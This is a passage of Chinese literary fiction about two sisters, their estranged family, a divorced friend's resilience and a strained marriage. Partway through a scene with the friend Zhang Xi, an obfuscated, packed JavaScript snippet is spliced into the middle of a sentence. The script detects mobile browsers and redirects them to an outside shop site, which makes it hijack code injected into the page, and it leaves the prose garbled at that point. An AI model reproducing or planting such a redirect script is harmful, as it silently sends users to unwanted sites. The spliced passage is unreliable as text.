还没说完就被打断:“没太大关系,资金没问题,怎么会又要你拿钱呢?就是太多事情赶巧到了,差点出事,想起来七年前那次失误,不知怎么会有剪刀混在大货里去了日本,按合同赔了客户二十万。最近我太着急,没怎么管厂里,小芬嫌管理混乱和我吵了几次。” “只能慢慢熬,急不得,别把身体搞垮了,我们都快四十了。小芬她也不容易,你多体谅她。” “嗯,我晓得。你也是,少熬点夜。” 石植有白发,一直染发,杨树奇仔细看了看她,想着石植这些年实在辛苦。她问石植:“这次抽空回家吗?” “不了,明天就走,我只是顺路来和你说会儿话。也不去你那边住了,免得麻烦。不过,你店子怎么这么多年招牌都不换?还是连个名字都没有,就一只手画在上面。” “店子只是留着,散花又能有多少生意?基本没有上门客,都转私域了。我现在专心接些装置设计商单,比过节辛苦卖花靠得住。招牌没换,内装也没变呀。你看墙上的装饰画是你们家小唯送的。”杨树奇指墙。 石唯跟杨树奇学花艺时,觉得店里墙太空了,就把自己收藏的一块1987年的中古大方巾装裱后送来。 “你妹妹很细心,这两年她也辛苦,估计心里也不好受。你有两年没回来过年了吧?有空多和小唯交流下。” 石植不解:“小唯怎么了?上次祭祖看爸妈对她态度不太好,也不知道怎么回事。难道有什么事你知道我还不知道?” 杨树奇叹了口气:“小唯的事你真的一点都不知道?唉,我都不知道怎么跟你讲,偏偏和她相关的几个人,我都熟!” 石植和杨树奇一起吃完午饭,她买了最近的高铁票回复州。想起七年前问妹妹:“你怎么就认为我……”石唯回她:“我也有这种时候,也想把自己所有东西都烧掉,什么都别留下来。想把日记和照片全部烧掉。”现在,石植恨自己是块茅坑里的石头,不敢想石唯这一年怎么过的。 到家后,父母意外她突然回来,石父说去买菜。胡允华问她累不累,让她先放下行李休息。之前,父母怕石唯的事影响她,从未提及。现在问起石唯的事,胡允华进房间伏在床上哭了。 石植小时候黑瘦,很淘气,奶奶会说:“我孙姑娘是投胎的时候跑太急了,明明就是个儿子伢嘛。跑那急做什么哦!”胡允华每次听到这话脸色就很差,恨不得把所有人都横一眼,但只是怒斥石植不要蹦蹦跳跳,没小姑娘的样子疯疯癫癫。 奶奶会教石植童谣:“扇子扇凉风,骑马到广东。别人要问我是谁,我是石家大相公。”然后一声叹息,家里没有男孙,怎么会有相公(宰相、男性)?在复州本地抹麻将的术语里,“相公”是指手上牌数量不对无法和牌的人,石植想起来觉得好笑,自己真成“相公”了,不过不是奶奶想要的“相公”,她既不是家族的男孙也不会有婚姻和子女,是“相”别人“牌”的看客。 她放下行李,拿了纸杯子去楼下的垃圾桶旁抽烟,不再想任何事,只希望晚上不要再失眠。 14. 金光灿烂的秋天 接到姐姐电话时,石唯已到江城,她告诉姐姐下午会赶回家。石唯早上六点就上了高铁,是去见朋友张溪。出高铁站后,她打车直奔早餐一条街,张溪在那边等着。 石唯和张溪在一家面馆门口吃面,店门前路边两张塑料高板凳挨在一起,上面搁着她俩的面碗,两人就坐在矮塑料板凳上低头吃面。 “不是我说,你们这边怎么这样,你请我吃就这环境啊?”小溪拌了拌面,让面浸进泛着红油的汤里,夹了块牛肉递给石唯。 石唯推让道:“别别别,我不吃牛肉的。你也别嫌环境不好,东西好吃就行。人家店里才几张桌子?有地方坐就不错啦!你看人家没抢到板凳的人,还端着碗边走边吃呢!” “你敢让我边走边吃?我说你真是的,还不吃牛肉,是信什么吗?不要信!什么都不要信,什么都不要拜!相信自己,只有自己靠得住。什么事情都看开点,过好日子最重要。”张溪边吃边说边用筷子指了下石唯,“你这没精神的样子,是因为那事还没有走出来?哎呀,都一年多了,你就是容易想太多——又不是故意当第三者,是那个废材骗你!再说,人就是犯罪还要走法律程序,私人谁有资格审判呢?你是做了什么啊,就先自己把自己‘枪毙’了!人没了心气就完蛋了!” 石唯连忙要她打住:“我的娘啊!你不要激动,这声音太大了,不怕别人朝我丢卤鸡蛋吗?” “不好意思,我注意点。”张溪扒了一口面,“这面加卤鸡蛋要多加两块钱,谁舍得对你丢卤鸡蛋。吃完这家我们接下一家,一家挨着一家吃!” 吃完面,石唯带张溪去隔壁店买油货。她对老板讲:“我要枯一点的面窝。谢谢!” “枯一点的?什么枯的?”张溪问。 “就是焦脆焦脆的。” 张溪疑惑:“焦焦脆脆的能好吃?我看炸出来的样子片片的。那不焦的肉鼓鼓的像游泳圈,你选这焦的是漏气的游泳圈呀,你看在油锅里都要沉底了。” “你可以不跟着我选嘛,都好吃的。还有,我们这边的人说一个心狠,就说‘心好枯哦’‘好枯的心哦’,你这形容,对枯面窝蛮‘枯心’的。” “本来就是嘛,枯的看上去瘪瘪的,吃了我更没力气。没力气怎么用力气,不用力气怎么有力气?”张溪挑了个胖乎的面窝,咬一口觉得不错,点头用眼神给了石唯赞许。 “小唯,我懂了——枯一点的面窝是炸太过了的面窝,那‘心枯’就是做事太邦邦硬的心肠。你看,果然火太旺、气性大了是不好的,面窝焦了,心烤干就枯了。” 石唯楞了下:“你这样说还是那么回事。我从小习惯听本地话,没细究过。我们这边方言算你们西南官话的一个小分支,你好像能听得懂个大概。不过,你说这话是在点我吧?” 张溪又找老板要了个欢喜坨(炸麻团)和油炸糯米鸡,笑着说道:“我说我的,你自己想哦,关键看自己。人要是听不进去话,就是到你头皮点戒疤都没有用,还用得着我用话点?” 张溪来江城出差,特地留一天休息日见石唯,两人好几年没见了。张溪离婚两年了,打官司判下来是轮流抚养小孩:工作日跟爸爸,节假日随她。离婚是因为带小孩的问题,或许也有太多积压下来的矛盾。双职工家庭没人带孩子,起初丈母娘来帮衬,每月给五千辛苦费,夫妻各负担一半。但没退休金的老人怎么敢停止工作不攒养老钱呢?张溪的母亲不能长期带娃;男方母亲坚决不带孩子,她以前也没有给男方的其他兄弟姐妹带过小孩,尽管有钱有闲,还是觉得不合适,如果帮了他们会因为“不公平”引起家庭纷争。小孩总归要有人带吧?男方要她辞职。她觉得真是滑稽,大家婚后经济都是独立的,自己辞职男方也不能覆盖家庭开销,而且大家薪水一样多,发展前景没有谁比谁差,甚至自己公司的福利还多些,凭什么要做妈妈的辞职?男方说她婚前有存款,那个钱为什么不能拿出来在家全职养小孩?还骂上了丈母娘,说张溪的母亲“自私”,只顾自己不管外孙。 “我们家至少给家里每个小孩都出了房子首付,你们家没给什么钱吧?你妈给你付出了什么?她带个孩子怎么了?带孩子这几个月还拿了钱。她要是不帮忙,你就辞职。你存着钱不拿出来装修房子也不拿出来养孩子,你没把我们当一家人吧?也别说我妈不给带孩子,她没义务带孩子!”男方很坚持。 “不是,你这话怎么婚前说呢?你婚前说咱们可以早点掰呀!你那套房子和我有什么关系,我拿钱给你装修?现在咱们离公司就近租房,房租我也付了,没占你便宜,你说得像吃了多大亏一样。凭什么我辞职?你辞职带娃,我就把自己的存款拿出来养你们。你妈没义务带孩子,我妈就欠你的?”张溪被气笑了。 坐月子时,两人就为小孩以后怎么带吵过架,她受不了发脾气,男方推了她,还是月嫂阿姐拦住了,说着“先生别这样,太太刚生完孩子身体吃不消”。后来有一天,张溪工作日去婆婆家抱孩子走,婆婆以为她辞职了,她回话是和老板申请了可以带孩子上班,托育在隔壁公司的托儿所。婆婆很生气,认为张溪是给脸色自己看,孩子才一岁怎么托育?就是赌气自己没给她看孩子。张溪没有理会,带着孩子去公司。男方知道后打电话大骂她,说她不尊重自己的母亲,说她不是个称职的母亲,为了个又不是多不得了的班连孩子都不好好养育,顺带大骂张溪娘家不出钱不出力,都不是好人,给她下最后通牒——不辞职就离婚。 张溪立马请假带孩子去了老家省会,寻求家人帮助。对方打电话问质问为什么要带孩走,张溪回:“我不走,让你们全家欺负我一个人?你和你家人在一起,我也要寻求我家人支持。你们家那嘴脸,不带孩子走我要变成紫丝带妈妈了。像你这种男人还少吗?” 姐姐姐夫本来是劝和的,父母亲也从老家赶来姐姐家。张溪没说话,把手机给他们看和孩子爸的聊天记录,家里人看完都不说话了。不止是他们,张溪也不明白:他怎么能骂出那种话,自己娘家怎么他了,自己怎么他了? 当时,姐姐的孩子比张溪的娃大一岁。姐夫说张溪要离婚的话,不用担心没人带孩子,自己出钱给丈母娘,小孩先在这边,两个小孩育儿嫂和丈母娘一起带着,后续张溪要带着孩子换城市和工作,他们也会提供支持和帮助。之后就是打官司,最后法院判了轮流抚养。为了给小孩稳定的环境,还是继续留在孩子所在城市,家人支持了一部分,张溪买了房子。 石唯和张溪是在吴州一家小公司工作时认识的。老板不常来,管理公司大小事务的是程小姐,大家喊她“薇薇姐”,年纪比石唯母亲小不了几岁。公司经营布料、毛线及自有服装品牌,石唯在研发部负责一些文字推广工作,经常和上司出差看展、布展或跑各地买版。张溪是微微姐身边的红人,永远扬着高傲的头颅,后来石唯和她熟了发现是每个人的走路习惯不同。张溪踩着小高跟鞋“笃笃笃”路过研发部时,石唯曾唯想“才不要和张她讲话咧”,她觉得张溪比较危险,大家都怕薇薇姐。张溪喜欢漂亮的衣服,每次内卖会都很主动地找研发部的同事讨论,然后喊着大家一起去看衣服,石唯会凑热闹附和着:“大家一起去看衣服呀!”都是年轻人,“我才不会和她说话咧”多么幼稚,大家当然要一起说话呀。石唯发现张溪每天会戴不同的耳环上班,真好看,布灵布灵亮晶晶,她会忍不住夸赞:“哇,耳环好看哦!”张溪会回:“对的呀,耳环好看呀!是不是又要内卖啦?我们去生产部看衣服。” 午休时,大家聊一些明星八卦和时事新闻。张溪会毫不掩饰自己的想法:“要是我遇到这种事情,肯定‘同态复仇’,烧掉他的房子算逑。”石唯觉得无语:“你嘴巴硬哦,为什么有个词叫“杀人放火”,放火是什么性质?你就嘴巴厉害。” 某天石唯下班心情不好,被狗咬了一样躁,收拾东西就往外走。张溪不识趣喊她,要她等一等,问她干嘛去。石唯烦死了,说:“我不等你,我不干嘛。”张溪察觉到她不对劲,一直跟到天桥。石唯只好回她:“我看电影,《英雄本色》重映。”之后就一起了,虽然石唯是被迫的。那天,张溪和石唯聊了很多,嘴巴硬的张溪宽慰起人来也是硬邦邦的,充满精气神,她总是表达“管他娘的,干了再说”的不要怕精神。石唯无奈:“大家性格不一样啦,我就是很怕也很弱啊,这样讲对我没用的。”张溪觉得她好奇怪,“油盐不进”。 张溪喜欢讲只有工作不会背叛自己,她很热爱赚钱也很努力工作。每当看到石唯比较懒散或者安于现状不敢尝试的时候,她会说:“输人不输阵,气势不能输!要争取啊,不然你打算怎么办?人怎么可以不工作、不努力?搞钱最重要,你老瞎想些啥!”尽管张溪不理解石唯的宅和不喜欢逛商场,也不懂石唯为什么那么不积极,她还是会想很多她觉得有用,可能对方不受用的办法帮助石唯。她嘴上绝不会包容理解和她不同的人,但是行为上一直对石唯是友善和鼓励,用她觉得有用的方式拉石唯一把。不过,她也没有看到什么效果,不爱管闲事的她偶尔还是会担心地讲:“小唯你怎么办?工作很重要,钱真的很重要,女人有钱很重要!” 那年,她是这样邀请石唯去参加她老家婚宴,她说报销机票或高铁票,石唯说“那当然要”;她说老家是流水席,石唯最喜欢乡下流水宴席,菜比较地道;石唯问“你家有山吗?大老远去一趟总得爬下山享受下自然风光,感受天地人合一道法自然的气象”,她不耐烦回“有山有山来吧”。流水宴席的确美味,不过可能值得爬的山从张溪家走过去要两天吧,石唯远远看了眼山尖,“还道法自然气象哦,瞧给她装的,先忽悠过来嘛”,张溪估计这样想了。这个骗子!蜀地还有黔地很多县城很美,物产丰富,交通也是真不便。时常可惜,很多资源要是开发了多好啊,大家生活也会更好,不过山路开凿实在不容易。张溪讲她家山上的老房子,她小时候的上学路,石唯看着遥远的山尖尖,暗暗的一片树色,云也要溶进去。 张溪烧饭吃,尝味道的间隙讲话了:“真是的!”石唯不解,听她回道:“我又能挣钱,烧饭又好吃,我怎么这么……”石唯也要真是的了,笑她一点也不谦虚呢。她理直气壮:“事实,不必谦虚。”石唯骑共享单车遇到停车问题很烦,明明停在画着自行车的框框的停车范围,平台偏偏说停靠不合规要扣掉十五元,怎么导航也找不到所谓正确区域,那干脆扣钱拉倒,毕竟耗不起还有别的事情要做。张溪知道后觉得石唯不可思议,赚钱不容易,不合理的扣钱不能妥协,拿着石唯的手机帮她申诉,铛铛铛,十五元回来了。石唯顾着高兴,张溪告诉她:“永远要为自己正当权益抗争,一定要发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16988382|193651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挥主观能动性,没有错绝对不可以认,有机会就要勇敢争取。害怕?管他娘的,干了再说!”以后骑自行车再遇到这种情况,石唯是一定不服的,绝对申诉到底,线上不行就打电话要回钱为止。是啊,没有错为什么认?要尊重自己的每一分钱,这是从张溪这边学到的。有一次两人骑电动车被交警拦了,见赵溪上去理论,石唯拉住她。张溪撇开石唯,在听对方解释新规不能带人后,看着对方手机上划拉出的法规,她就爽快认错了。石唯在张溪房间吃零食,看她接电话——平时嘴巴那么厉害,和家人通话却稳重又温和,她家人和她通话应该很安心吧!石唯吧唧吃零食突然意识到无意识偷听别人通话也是很不好的,别过脸换个远点地方,虽然还是听得到。也许嘴巴厉害也是一种抒发管道,私下还不能放点狠话吗?何况评价新闻也没见谁要真做啥——这种时候,觉得张溪挺可爱的。 分到碗里的豆皮把石唯的心拉回来:“我不太吃糯食,你自己多吃点,别给我了。” “吃饭皇帝大,先吃了再说!”张溪还是把豆皮推进了她碗里。 天气太热,两人吃完逛完决定回酒店吹空调,外面这天气,是个人都搁不住了。石唯买了水果带着。洗葡萄的时候,望了眼坐在床上吃西瓜的张溪,问道:“小布丁三岁了吧?” “嗯,九月就能上幼儿园了。蛮好的。” “是蛮好的。” 石唯把葡萄拿给张溪,自己靠到窗前椅子上。窗外车流不停,路上也热闹。 “她爸爸追着发消息问我这周怎么没去接孩子,我说是出差了。他嘲讽我只顾自己在外面潇洒。。”张溪把葡萄皮吐到垃圾桶。 石唯回过头来:“他找你提过复婚吗?有过的吧?” “小唯你不傻嘛!人性嘛,男人嘛!提过三次,我拒了他就不提了,估计是伤了自尊心,特别怕碰见我。”张溪笑起来,“现在每次去接孩子,我都是直接联系孩子奶奶。你看,离婚了,她倒对我客客气气了。说老实话,我不讨厌她——她做生意几十年,比孩子爷爷能干许多,业务能力强,赚钱给三个小孩都付了房款买了车。你知道我的,怎么可能讨厌业务能力强,努力生活又对家人付出的人?从头到尾,我厌恶的都是脑子不清楚的孩子爸爸,他根本没法撑起一个家庭,连和我一起合作好好生活的能力都没有,还是老一套的想法。他提复婚我不愿意,还追着问我为什么。都不知道为什么还敢找我复婚,你说好笑吗?” “你按自己心意过日子就好,身体健康,和小布丁好好生活。如果是你,怎么都能把日子过得好,有声量。” “像鞭炮一样响?”张溪笑起来。 石唯也笑,回道:“嗯,红红火火,一万响的鞭炮!” 张溪洗好手,说到床上躺一会儿,要石唯午饭喊她。石唯去拉窗帘,床那边墙上挂着两幅精美的纳纱绣装饰画:一副是年轻爱侣在花园共舞,斜下面那副是被囚禁在华丽花园中面无表情的独角兽。石唯闭着眼睛靠在窗边椅子上,窗帘的缝隙像一道线把她和张溪从一副画里划开。 “小唯,这不是有什么必要说的事。十年前我二十几岁,在南漂,就像我父母那一代一样。当时和小布丁爸爸分手好几年了,他们家想要他找个家里熟识做生意家的女孩结婚。我在南方找了外贸公司的新工作,开始新生活。那段时间我过得很开心,交了新男友。他个子高大、很细心,待我和朋友都好。我爸妈在莞城的针织厂工作,说省城也不远,让我早点带男友见他们,该谈结婚了。我本是这样想,结果有次帮他接电话,拿着他手机,发现他在北方有家室。你看我可能是个果断的人,那时也哭了好几次。很奇怪,我自己也没想到居然还会有一点犹豫和不舍,好在哭了几天就断干净了。那帮朋友都知道他的情况,没有一个提醒我,可能是不想管闲事吧,后来想到他们之前开玩笑让我俩早点结婚,就觉得恶心,一群人拿我寻开心呢?断了来往。后来的事你知道的,我去吴州工作,小布丁爸爸几年间坚持要把我重新追回来总是往吴州跑,我去他那边找工作、结婚、生孩子,再就是分开。”张溪翻了个身侧躺背对着石唯,“对于过去的所有选择,我不后悔,我不是会后悔的人。过去就是过去,是没有什么用的灰尘。日子只会往前走,过好眼前的日子才是正经事。希望你也打起精神来,该上班上班,想恋爱恋爱,日子很长,但是日子不远。” 石唯睁着眼睛看着张溪的背影,她似乎想说什么却说不出来。刺目的光从窗帘的缝隙晃进来,张溪打了个呵欠:“好累,不说了,饭点喊我。” 下午,石唯的高铁比张溪晚两个小时。送站时,石唯抱了她一下,张溪嫌弃大热天“黏糊糊”的,还是笑着拍了拍石唯的背:“积极点生活!” 车上,石唯想着:张溪一如既往地勇猛果断,行动力强,愿意鼓励身边人“管他娘的,干了再说”。石唯的勇气就像拼多多砍一刀,总缺0.01提现100元,她以为拿不到“钱”,张溪鼓励她并用实际行动帮她“砍一刀”。张溪“拿到过”,她也愿意帮人。我的勇气有你一份功。在吴州时,张溪不解石唯秋天总去爬那座小山,石唯会回:“自古逢秋悲寂寥,天平秋色胜春朝。”张溪会笑她:“秋天不寂寥,秋天多好啊!” 如果是张溪,肃杀的秋天她会看成有金灿光辉的秋天吧。 15. 晚餐 吃晚饭时,石植一直说个不停,想让气氛好一点。前一天她和母亲胡允华聊了很多,母亲袒露的脆弱部分让她开始审视和反省自己。 那会抽烟回来,见母亲还伏在床上哭,石植劝道:“妈,小唯的事她也不想这样的,没人想生活不顺遇到事。一家人要互帮互助……嗯,我也不知道怎么说。我也没有让你们省心过,对不起。小唯的事你们不该瞒我,我其实有点怄——作为这家里人,妹妹出了事要晓得吧?你们怕影响我什么呢?我又不是日理万机的人,不知道的还以为我是搞了什么大名堂呢!” 胡允华小声说:“你在怪我?石唯的事我要怎么开口?我看她谈了一年多朋友,让她带男孩子回来吃饭,也该谈婚事了,她答应后没几天突然没了声音。你爸熬了排骨汤,我和他去小新路找她,邻居指指点点,才知道她搬去渡口村了。我们也不知道具体情况,出了事她只会逃避,也不跟我们说。要是没有你胡爹爹的老屋,她打算躲到哪里去?我做姆妈的心怎么好受?这地方就这么大,后来亲戚朋友都晓得了这事。你几个姑妈还打电话来‘教训’我,说是关心我们,张口闭口‘小三’,说我‘不操心’——这算什么狗屁关心?你爸都不敢出门和以前的同事一起钓鱼了。你要我怎么和你说?” 石植拍拍妈妈的背,声音柔和下来:“妈,我们自家的事轮不到别人来说,归根结底是私事。一家人要一起想办法解决问题,小唯遇到这事已经够倒霉了,我那年蚀了本,对象还要和别人结婚,我差点没过过去。” 胡允华爬起身,回头看着石植发楞,说道:“瞎说!随怎么样都不能寻死啊!你是有爷和姆妈的,再怎么样我们都会帮你们啊!我怎么能不担心你妹妹?她现在工作也辞了,一个人待在那村子里不出门,都不晓得有没有同学朋友来往,她以后怎么办?” 石植从床头柜抽了两张纸,给胡允华擦眼泪:“我晓得,我晓得,但人总是有一时过不去、想不转的时候。小唯小时候造业,跟着胡爹爹和尕尕(外婆)在渡口村,没得爹妈在身边的小孩,肯定更容易被外人欺负。您每次去看她,对她也挑三拣四,嫌她畏畏缩缩的样子,连带着我也嫌她又傻又愣!我一路跟着你们,受你和爸爸照顾,小唯生活却比较动荡。我一直住家里,她高中还在我都没见过的亲戚家住了半年,后来你们给她到学校附近租房子,也没专门照顾她。太折腾她了,她念书真是受了不少苦。” 胡允华接过纸巾丢进垃圾桶:“你这还不是怪我啊?未必随什么事都要怪当姆妈的吧?你们怎么不怪你老头子?你们都怨恨我!我晓得石唯也怨我,什么都怪我!那时候她精神不好,也是在你胡爹爹老屋,每次和她沟通,她就对我不耐烦,看我像陌生人,我感受不到吧?她发的消息都是说小时候好痛苦,说我不爱她。哪有不爱子女的父母?她的痛苦都是我造成的?如果要这样追究,可以上溯祖宗十八代不止。我也有很多无法言说的伤痛,也不知道怪谁、怨谁。人的过去是历史的产物,难道整个社会的历史和个人的历史,要我一个当姆妈的负责?过去了的一切事,她要怎样?照她那样追问下去,可以追究到国破家亡、社会变迁,追究到个人不能撼动的种种。” 胡允华望着天花板叹气,继续说:“你们想怎么生活是你们的事,想怎样就怎样去做。石唯找了最容易欺负的我——你们的姆妈,来归因,是吗?对她来说,这不也是一种软弱?这对我太不公平了,我不是所有问题的终点。我知道她的痛苦,我没法回应。你就当我是逃避和掩饰吧,如果你们在很多艰难的时刻靠一点点信念支撑着生活,那我也是靠逃避和往前看来维持生存。她说想要终结悲剧也好,你要做你说的‘最后一代’也罢,你们愿意信什么就做什么。对不起,我是一个不称职的母亲,确实没给她太多的关怀和照顾,没提供稳定的环境,但生你和你妹妹时,我想过一定要好好对我的孩子,我的女儿会更好,社会也会比我那时好,我也比父母有能力,我的女儿肯定会更好。她要是实在难受,觉得心里苦,我只能说‘对不起’。我也以为我能过上我想要的幸福生活。我希望你们能开心一点,过上想过的生活。但是我觉得我没有对不起谁,除了我父母——他们和你舅在外地,我没怎么尽孝。”提到父母,胡允华又激动地哭了。 石植再次抽纸递给母亲:“我晓得,我晓得,没有怪您。都不容易!明天先把小唯喊回来吃饭吧。”安抚好胡允华的情绪,又陪她聊了会儿天,石植打电话给石爸,他聊了很久,最后订了外面的餐馆。石爸买菜回来后,一家人去外食——石植知道没人有心情烧饭。 今天妹妹赶回来吃晚饭,一家四口很久没有这样一起吃饭了。石植平静地说起自己回来的原因、生意上的琐事,石父石母也很平和,让她有困难就开口。她去厨房拿小碗,给大家舀藕汤。胡允华不看石唯,朝她方向装作不经意地说:“你拈菜吃啊!”顺手夹了块排骨到石唯碗里。石唯小声回“谢谢,我自己夹吧”,然后吃了母亲给的排骨。 石植站着舀汤,递给石唯一碗,问道:“小唯,你见的张溪,是那年你带到我的润州工厂玩的那个朋友?前几年说她请律师来着,后来怎么样了?我偶尔刷朋友圈,看到她发女儿视频,小娃儿蛮机灵可爱的。” “判的是轮流抚养,现在蛮好的。她买了房子,和小孩生活稳定些。假期就带孩子去西南老家和亲人团聚。” “蛮好的,那时你带来,我就看她挺爽利的一人,走路像踩了风火轮一样,是个爽快姑娘。那男的真不是东西,孩子才一岁,为那么容易解决的小事就坚决要离婚,不是神经病吗?鬼晓得真正的理由是什么,说不定是有上不了台面的原因呢!”石植把新盛的汤放到胡允华面前,看着石唯,“张溪这几年也不容易吧?他们房开公司日子也不好过哦。她真的很坚强了,很厉害!” “张溪那时跟我说,有没有隐情无所谓,重点是婚必须离,纠结过程和对错没有意义。不纠结才不会影响心情,尊重法院判决。现在有孩子,工作算稳定,她状态还可以。” 中间胡允华看了眼石植插话:“真不是东西?又有几个男的是好东西呢?” 石爸起身说去厨房拿调羹,说了句:“一家人吃饭别扯太远啊。你们一个两个,都说别人的事干嘛?顾好自己哦!” 石植抬碗喝了口汤,说道:“那我说我们家的事了。我这回回来,十五都过了,就不去给那几个姑妈伯父送茶礼了,要是端午或者十五前回来,也就去一下。” 胡允华激动起来,提高声量:“去什么去?就算是端午十五也不用去!都是些什么人啊,石家有什么好东西?是你和石唯老实,回来就买东西去。按这边的礼行,哪个没成家的孩子要去送茶礼?你那疯姑妈疯伯母背后讲你们结不了婚、日子过得稀烂,收我儿茶礼时怎么好意思?也就你和石唯有良心!他们的娃哪个过节来我们家看舅舅叔叔了?你不知道你姑妈他们有多假,我就没见过你爸那石家家风差、没亲情的人家!你以后回来赶上节气也不用送茶,都不许送!他们背后说不够,恨不得当面唾我脸吐涎,没有必要再来往!” 石爸匆匆喝完汤,说道:“我吃饱了,你们慢点吃。”想回房。 胡允华看着他的背影,提高声音:“我跟你们说,那些人就是看不上你爸,才敢欺负我们一家!人家都不把你作个数,何必要来往?我们一家又不欠他们的,也没受过恩惠,都没承过恩,有什么不好撕破脸皮的?假来假去恶不恶心?老子是不陪着演戏了,要装你们爸自己去装,别拉着我沾晦气!” 石爸不作声,关了房门。石唯和石植去洗碗,被胡允华拦住:“都别洗,让你爸洗,我看他躲到几时!” 石植劝妈妈:“姆妈啊,我晓得您啊有怨气。老头子几十岁的人了,哪有说断就断那么容易的?他来往他的,我们不来往就好了。我们四个才是一家人,是一条船上的,你不能气急了把老头子推河里去啊!” 洗好碗擦好桌子,石植拿着纸杯下楼,石唯跟了过去。 “么昂?你要陪我?他们不晓得我抽烟,你也别沾。我是之前上班气不顺开始抽的,现在有瘾,还想戒呢!”石植把烟灰抖在杯子里。 “老头子老娘都晓得,你以为楼上窗户不能往下看吧?”石唯笑道。 石植也笑起来:“是啊,装不晓得。老头子一直装不晓得,我的事他避着,只要我不再说,他就当我没说过。姆妈倒是去了几次梁溪看我,和小芬相处也算客气。” “姐,你这次要紧吗?我把小新路的屋子挂出去了,到时候……” 石植把烟摁在纸杯子里,满脸不解地打断石唯:“你别是为我搞这出吧?我怎么可能再拿你的钱!现在生意能继续,别为我担心。怎么突然要卖房?” “嗯,那边不好住下去了。我住尕尕老屋蛮好的,而且也说不准以后在哪,谁知道呢?” 石植叹气:“你过好自己的日子,照顾好自己,不用□□的心。我这回是太急了,想多赚点。小芬家和我们家差不多,她爸前几年来厂子闹过,这几年好些了,上次她妈妈做了好些肴肉让她带给我。小芬家那边当年要推房子的……她是独女,我想她比我更难,还是想多赚点,这样她妈和咱妈都会觉得有保障些吧!我们这样,做老人的总会担心有今天没明天,钱多一些总不是坏事。” “小唯,我小时候是恶霸,对你一点都不好。这些年也没有帮过你什么,对不起。”石植别过脸,走到垃圾桶那边。 “你还是花了很多时间精力对我的,我每次暑假见到你,都像狗皮膏药磨你,打破了你的花瓶你也没怪我,你总有市面上最新奇的东西给我玩,说话又时髦,像演TVB剧一样。我还和同学炫耀,说我有个念高中的姐姐,很厉害。”石唯走到姐姐那边。 石植抱了石唯:“小唯,很多事情都过去了,别再被去年的事影响,那不是你的错,何况人有过失,也有好好活下去的资格,对家人来说,你真的很重要。你也不要怨恨过去的自己没有保护好你,想恨谁怨谁都行,不要怨自己了。不想原谅爸妈就不原谅,没关系!” 石唯轻拍姐姐的背:“我晓得,我晓得。你少抽点烟哦,味好重哦!” 次日石植离开,石爸石妈送她去高铁站,石唯回了渡口村。 赵秋接到杜雨妈妈的电话,婆婆请她到外面吃午饭。那是很幽静的花园餐厅包房,婆婆还给她带了一小束晴雯芍药。婆婆真心实意地讲了很多,表达了绝不会干涉他们小家庭的私事,也讲了杜雨的一些事。上次两家吃饭不欢而散,之后杜雨一直道歉,她不太理睬,杜雨就天天来她房子做晚饭,见她不理会,做完家事就会识趣地离开。之后娘家的端午茶礼,是杜雨准备好,联系赵秋一起去送的,那天赵爸赵妈很高兴,江群对赵秋有些小心翼翼的讨好。赵秋和杜雨的关系似乎缓和了些,尽管她暂时还没有搬回鹊桥路的打算。芸芸的小弟刚高考完,二姑家说早点办升学宴,请了赵秋夫妻俩,明天还要去酒店吃饭。 结束和婆婆的午饭后回家,赵秋强撑着把那几支芍药拆开,剪好枝养到白瓷瓶里。芍药是略艳的粉色,花瓣尖粉透透的带点白,很新鲜,也好闻,但她只觉得头昏——感冒已经好几天了。去房间午睡,偏头痛愈发厉害。每个人过去的人生经历是个人隐私,杜雨当然有权选择告诉谁或不告诉谁,赵秋没必要知道。她很难受,心里发堵,她不是因为杜雨没有告知她些事,而是无法想象他在经历过这些事后,还能坦然地无视她的痛苦。 晚上没有烧饭的心情,那种痛苦像被毒蛇裹住般纠缠,赵秋很想摔东西。她实在忍不住冲进厨房,手起刀落剁了条丝瓜,丝瓜被剁得稀碎,白色的嫩籽破的烂的溅飞到光亮的白色厨房墙砖上。手上是粘滑的丝瓜汁液,脑子里是剁不碎的麻线般绞在一起的思绪,她放下菜刀去洗手。 第二天在酒店吃饭,下午是正餐,亲友都在。杜雨礼貌周到,亲友们都热络地和他攀谈。一大家子围着桌子吃饭,菜肴丰富,觥筹交错,人声、笑声、其他桌的嘈杂声、过道小孩的跑闹声混在一起。这晚江群特别开心,不知是大家奉承她“两个女儿都成绩好考出去了”,还是“秋秋嫁的人家条件好,姑爷人多好啊!”让她有“是那么回事”的慰藉。赵秋不知怎么想要掉眼泪,觉得好累,有点心疼江群。在表弟的升学宴上,仿佛赵秋家才是东家。筵后亲友在打包菜品,杜雨小口吃着蜜瓜,赵秋和亲友们作别,自顾自离开。杜雨慌忙和岳父母道别,赶上妻子。 “你等我,我去取车。” “我自己回去吧!”赵秋很平静的语气显得冷漠。 杜雨坚持送她,半路无话。他试图找点话说:“我想下周接丈母娘他们出去吃饭。过十五时,你姑妈他们都在,妈妈忙前忙后招呼打麻将、吃饭,她自己也没怎么吃好玩好。程锦说她下周考完试,我给她订了回来的机票。” “你对他们都很关心、很过细,谢谢你!”赵秋侧头看向窗外,闭眼。 杜雨不知如何回应,犹豫后说道:“应该的,你的家人就是我的家人……呃,你困了就睡一会儿,到家喊你。” 端午前,杜雨的好友子俊给杜雨爸妈家寄了卤鹅礼盒,他联系杜雨说端午后到江城出差,方便的话可以聚一下。杜雨和子俊在夏口一家靠近酒店的粤菜馆见面,上次见面是在五年前杜雨的婚礼,那天是工作日,子俊工作很忙,还是提前请假坐高铁赶过来。 “你瘦了。”杜雨笑。 菜陆续上桌,子俊给杜雨夹菜、打汤,就像大学时习惯照顾他一样。 子俊取下眼镜擦拭后放桌上,回道:“也许操心多吧!” “你妈妈身体好些了吗?” “现在很稳定,我们家兄弟姐妹多,轮流照顾,还好。” 两人聊了一些往事,聊了最近的工作。子俊提起他在老家见到了嘉菱,两人聊了许多。 杜雨平静地 